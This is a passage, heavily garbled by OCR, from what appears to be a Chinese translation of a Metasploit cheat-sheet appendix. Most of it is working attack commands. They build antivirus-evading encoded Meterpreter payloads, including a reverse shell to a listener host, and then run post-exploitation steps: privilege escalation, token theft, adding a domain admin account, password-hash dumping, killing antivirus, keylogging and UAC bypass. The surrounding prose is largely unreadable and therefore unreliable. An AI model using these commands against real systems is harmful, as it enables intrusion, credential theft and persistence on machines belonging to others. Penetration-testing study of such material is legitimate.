msfencode -x caic.exe -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe

A3 — 5 ) Meterpreter B8R, [FEH) 192.168.1.5 FHLIY 443 3 1, 46 calc.exe
ERBA TR, RiEBRTHR —EEITER RGNS, R R H 8T A
BASEH RN EHBEMAE S XMEEEIESEM, DU SRR s T a6,
HARI V- BPFIT A R R B AP ERT. FFE, BG4 shikata ga nai SESH T di3%
far F£J¥ payload.exe.

msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -0 payload.exe

-e x86/shikata_ga_nai -c 7 -t exe && msfcli multi/handler PAY LOAD=windows/

meterpreter/bind_tcp LPORT=443 E

B — raw #& X[ bind_tep B Meterpreter B ##7, F shikata ga nai ZRF% 7 K,
tH LA payload.exe 42 i) Windows "] AT U, RE S H £ 8 W07 77 30T 8047

B.7 MSFvenom
FIFH MSFvenom, —MEREM, SIEMGE IR EHRR.

msfvenom --payload

windows/meterpreter/reverse tcp --format exe --encoder x86/shikata_ga nai
LHOST=172.16.1.32 LPORT=443 > msf.exe

[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)

root@bt://opt/framework3/msf3#

A7 fr 4 AT LLAIER — A BOtiaRAT 3 1 37 A T HRAT AR R
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
ﬂéﬁ%ﬁﬁwﬂ, WIAFAE A PR IR BOR IR bR A 15 S EURIE PRI Z Ab, 05 40, Bk SrBIF LU 350 S IERRCTAE, 2 HE
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit 3&i%MiX 45 &

B.8 Meterpreter G2 EREME S

7F Windows FEHL I 18 ] Meterpreter #1752 BUER1E

meterpreter > use priv
meterpreter > getsystem

AN E R 1D T ET I — MR B R A R, A, S S R 2R
HHRAT.

meterpreter > ps

meterpreter > steal_token 1784
meterpreter > shell

C:\Windows\system32>net user metasploit p@s5word /ADD /DOMAIN
C:\Windows\system32>net group "Domain Admins" metasploit /ADD /DOMAIN

M SAM o FE R G RS RS A 1E

meterpreter > use priv
meterpreter > getsystem
meterpreter > hashdump

7. 4 Windows 2008 ¥, 4o% getsystem 4 4~# hashdump 4r4-de i F ¥ HLet, GE
it A5 3] — A4 SYSTEM & Gt FRIEATH UEA2 F .

BEEB ]S .

meterpreter > ruﬁ migrate

it Meterpreter # killav B AR R 5E B #5 EHLEIT KR TRAHERE.

meterpreter > run killav

B —Mer e R 2R B AR AL E R REDER

meterpreter > ps
meterpreter > migrate 1436
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop

fEHEATARBEEER:

meterpreter > use incognito
meterpreter > list tokens -u
meterpreter > use priv
meterpreter > getsystem
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%¢%:ﬁﬁm&ﬁﬂmﬁiﬂzm,ﬁﬁAK%ﬁZ@Mﬁ%ﬁﬁw%,Ewmﬁaﬁﬁi%ﬂﬂkﬂﬁ%ﬁﬁﬁoﬁﬁm%%ﬁﬂ
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

HxB WMESBEIIR

meterpreter > list_tokens -u
meterpreter > impersonate_token IHAZSECURITY\\Administrator

AA BAR EHVECREL T ABLLpr 4, FUH A B SRS, SXHIBY JOl LA R e AT R BLHIB
P

meterpreter » run getcountermeasure
meterpreter > run getcountermeasure -h
meterpreter > run getcountermeasure -d -k

VBB ) VLR — & B,

meterpreter > run checkvm

£ —> Meterpreter £ 1% 71 4§ F] cmd shell.

meterpreter > shell

R PR EHLRIBEE AT (VNC) .

meterpreter > run wvnc

£ IEZEIE1T i) Meterpreter FIH 755 ST .

meterpreter » background

Lt Windows ) 1K/ #4H1 (UAC) .

meterpreter > run post/windows/escalate/bypassuac

FHIER OS-X REH L1405 (4.

meterpreter > run post/osx/gather/hashdump

FH Linux R O SMAE.

meterpreter > run post/linux/gather/hashdump
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